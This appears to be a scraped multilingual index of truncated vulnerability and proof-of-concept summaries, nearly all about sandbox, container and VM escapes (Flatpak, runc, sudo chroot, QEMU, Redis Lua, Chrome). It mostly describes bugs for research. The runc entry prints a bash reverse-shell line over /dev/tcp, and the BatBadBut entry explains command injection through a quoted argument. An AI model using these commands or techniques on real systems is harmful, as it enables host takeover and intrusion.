CVE-2026-90648

wasm2c in WebAssembly wabt through 1.0.41 contains a sandbox escape vulnerability ("table flip"). The root cause is an unchecked return value of calloc() in wasm_rt_allocate_funcref_table(); when allocation fails, table->data remains NULL while table->size retains the guest-declared count, ...

CVE-2026-90616

In Flatpak before 1.18.1 , a malicious sandboxed app can gain arbitrary read and write access to host files , escapable to arbitrary code execution on the host. The root cause is a missing symlink protection in the bind-mounting process: Flatpak creates app data directories (e.g., /var/cache, /va...

EUVD-2026-76911

In Flatpak before 1.18.1, a malicious sandboxed app can obtain arbitrary read and write access to files on the host, which can be escalated to arbitrary code execution on the host, a different vulnerability than CVE-2026-76925. Flatpak creates a few app data directories e.g., /var/cache, /var/dat...

CVE-2025-2783

SandBoxEscapeSim CVE-2025-2783: Chrome용 교육용 샌드박스 이스케이프 시뮬레이션 저자: Byte Reaper @ByteReaper0 개요 이 프로젝트는 Google Chrome버전 134.0.6998.177 내 샌드박스 이스케이프 취약점의 개념을 시연하기 위해 설계된 연구 중심 의 교육용 시뮬레이션 입니다. Mojo IPC 시스템을 통한 부적절한 핸들 검증을 활용하여, 악의적인 행위자가 브라우저의 샌드박스를 벗어나 제한된 리소스에 접근하려고 시도하는 방법을 설명합니다. 참고: 이는 작동하는 익스플로...

subpath-exploit

샘플 Kubernetes 탈출 - CVE-2017-1002101 이용 설명 이 문제에 대해 듣고 이 가이드를 따라가면서, 좀 더 탐구해보고 싶었습니다. 이 리포지토리는 몇 가지 파드 배포와 헬퍼 셸 스크립트를 포함하여, 쿠버네티스 관리자와 운영자가 심각성과 잠재적 위험을 완전히 이해할 수 있도록 공격 메커니즘을 가장 간단한 방식으로 보여줍니다. 인증된 사용자이거나 파드의 스펙/템플릿을 생성 시 제어할 수 있어야 하므로, 이 탈출은 다른 공격예: 이것과 결합하지 않으면 익명으로 이루어지지 않을 가능성이 높습니다. 빠른 설명...

CVE-2021-41091

CVE-2021-41091 Ошибка в Moby Docker Engine позволяет непривилегированным пользователям обходить каталоги и выполнять программы напрямую из Docker на основной машине: если в Docker есть программа с SUID, пользователь сможет выполнить её как SUID на основной машине PoC В терминале контейнера...

CVE-2025-32463

参考：https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot 在运行 Sudo v1.9.15p5 的 Ubuntu 24.04.2 LTS 服务器上执行该 PoC，使用一个未定义任何 Sudo 规则的非特权用户，最终会在 chroot 环境之外获得一个 root shell。 lowpriv@prod:/CVE-2025-32463$ id uid=1001lowpriv gid=1001lowpriv groups=1001lowpriv lowpriv@prod:...

CVE-2021-3929-3947

CVE-2021-3929-3947 VM escape PoC для CVE-2021-3929 и CVE-2021-3947. Только в образовательных целях. Вы можете прочитать white paper для получения дополнительной информации. Окружение root@kitploit: OS: Ubuntu 21.10 Linux: 5.13.0 gcc: 11.2.0 glibc: 2.34 glib: 2.68.4 QEMU: 6.1.0 Guest OS: Ubuntu...

page_inject

pageinject - AFALG aead クロスコンテナエスケープ AFALG aead 脆弱性を利用したクロスコンテナエクスプロイト -- 侵害済みの1つのコンテナから、同じlibc.so.6 イメージレイヤーを共有するすべての兄弟コンテナへピボットします。 これはエスケーププリミティブ です。攻撃者がすでに侵害した非特権コンテナの内部 から実行され、AFALG authencesn の ESN ローテーションによる4バイト任意書き込みバグ（CVE-2026-31431）を利用して、libc.so.6 のページキャッシュページに永続的な read フックを仕込みます。Docker...

ipv6_frag_escape

IPV6FRAGESCAPE Надёжная proof-of-concept для непривилегированного побега из контейнера / изоляционной среды для CentOS / RHEL 10. Использует уже исправленную ошибку фрагментации IPv6 в ip6appenddata исправлена в основной ветке коммитом 38becddc, CVE не присвоен — внутрислэбовое линейное...

CVE-2024-24576-PoC-BatBadBut

CVE-2024-24576-PoC-BatBadBut PoC для уязвимости CVE-2024-24576 "BatBadBut" Информация После запуска скрипт запросит аргумент. Этот аргумент будет передан bat-файлу. Если закрыть аргумент кавычкой " и добавить после неё &, можно выполнить любую команду Windows. Например: root@kitploit: helloworld"...

deepce

deepce root@kitploit: . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // 웹사이트 Docker 열거, 권한 상승 및 컨테이너 탈출 DEEPCE 최대한 많은 컨테이너와 호환되도록 DEEPCE는 의존성 없이 순수 sh로 작성되었습니다. 가능한 경우 curl, nmap, nslookup, dig와 같은 추가 도구를...

CyberMeowfia

웹사이트: nebusec.ai · Twitter @nebusecurity · 버그 목록 885+ IonStack 후속 작업, https://github.com/NebuSec/CyberMeowfia/issues/44 참조 최신 연구 IonStack 파트 II : GhostLock, 15년 동안 모든 Linux 배포판에 존재해 온 스택 UAF Linux Kernel 📖 라이트업 · 🐦 Twitter Longinus : 하나의 버그에 두 가지 경계, 단일 취약점으로 Chrome의 Renderer와 V8 샌드박스를 뚫다,...

s6_pcie_microblaze

PCI Express DIYハッキングツールキット 一般情報 内容 SP605ボード構成 ソフトウェア構成 例 Python APIの使用 実践的なDMA攻撃 Option ROM攻撃 トラブルシューティング ソースコードからのプロジェクト構築 一般情報 このリポジトリには、PCI-EバスとDMA攻撃に関連するツールと概念実証のセットが含まれています。Spartan-6 FPGAを搭載したXilinx SP605 Evaluation Kit向けに、ソフトウェアで制御可能なPCI-E Gen...

cve-2019-5736-poc

Заголовки, которые нужно добавить stage2.c bash include bash include Изменить IP атакующего ПК stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Создание Docker образа и контейнера root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sud...

CVE-2025-32463

🚨 PoC: CVE-2025-32463 – Sudo chroot 탈출 취약점 sudo 버전 1.9.01.9.17p1 에 영향을 주는 치명적인 취약점으로, 사용자가 chroot을 탈출하여 실제 루트 파일시스템에 접근할 수 있게 합니다. 📌 설명 CVE-2025-32463은 sudo의 로컬 권한 상승 취약점으로, 특정 sudoers 설정을 가진 사용자가 chroot 감옥을 탈출하여 호스트 시스템의 루트 디렉터리에 접근할 수 있게 합니다. 🔥 영향 사용자의 /etc/sudoers에 다음과 같은 줄이 포함되어 있다면: someuser...

CVE-2025-24104

CVE-2025-24104 분석: 샌드박스 외부 파일 읽기 Apple이 나중에 CVE-2025-24104 로 추적한 버그를 신고했습니다. 원본 보고서에서는 악성 백업을 사용하여 샌드박스 제한을 우회하는 방법을 시연했습니다. 그러나 Apple의 초기 설명에서는 이 취약점이 보호된 시스템 파일을 수정할 수 있다고 명시했습니다. 기록을 바로잡고자 합니다: 이 버그는 실제로 공격자가 샌드박스 외부의 임의 파일을 읽을 수 있게 합니다. 타임라인 발견: 2024년 4월 보고: 2024년 10월 패치: iOS 18.3 베타 1 발견한 내용...

POC-CVE-2019-5736

RunC-CVE-2019-5736 Видео : https://bit.ly/2WqvILb Статья в блоге : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Здесь я хотел бы упомянуть, что оригинальный разработчик этого эксплойта — Юваль Авраами Yuval Avrahami из Twistlock Labs. Запуск POC Обратите внимание: запуск...

toothfairy

toothfairy 아래 링크된 brokentooth와 관련이 있습니다. brokentooth와 달리 toothfairy는 블루투스 메뉴에서 버튼을 누를 필요가 없습니다. 두 CVE 모두 @SparkZheng이 공개했지만 POC가 없어서 학습 목적으로 POC를 만들기로 결정했습니다. 코드는 완벽하지 않지만 작동은 합니다. iPhone 6S 11.3.1에서 테스트됨 11.4까지는 작동할 것입니다. bluetoothd 및 몇몇 다른 서비스에서 PCARM의 IP 레지스터 버전를 원하는 값으로 설정할 수 있게 해줍니다. Mach 메시...

CVE-2022-0543-Home-Lab

CVE-2022-0543 — Redis Lua 샌드박스 탈출 원격 코드 실행 CVE‑2022‑0543 — Redis Lua 샌드박스 탈출이란? 이 취약점은 Debian / Ubuntu 패키지를 통해 설치된 Redis 에서만 발생합니다. Redis가 Lua 엔진을 동적 모듈lua-cjson, lua-bitop로 컴파일했기 때문에, 공격자는 다음을 호출할 수 있습니다: root@kitploit: package.loadlib 시스템의 IO 함수를 로드하여 호스트에서 명령을 실행하게 되며, 이로 인해 원격 코드 실행RCE이 발생합니다...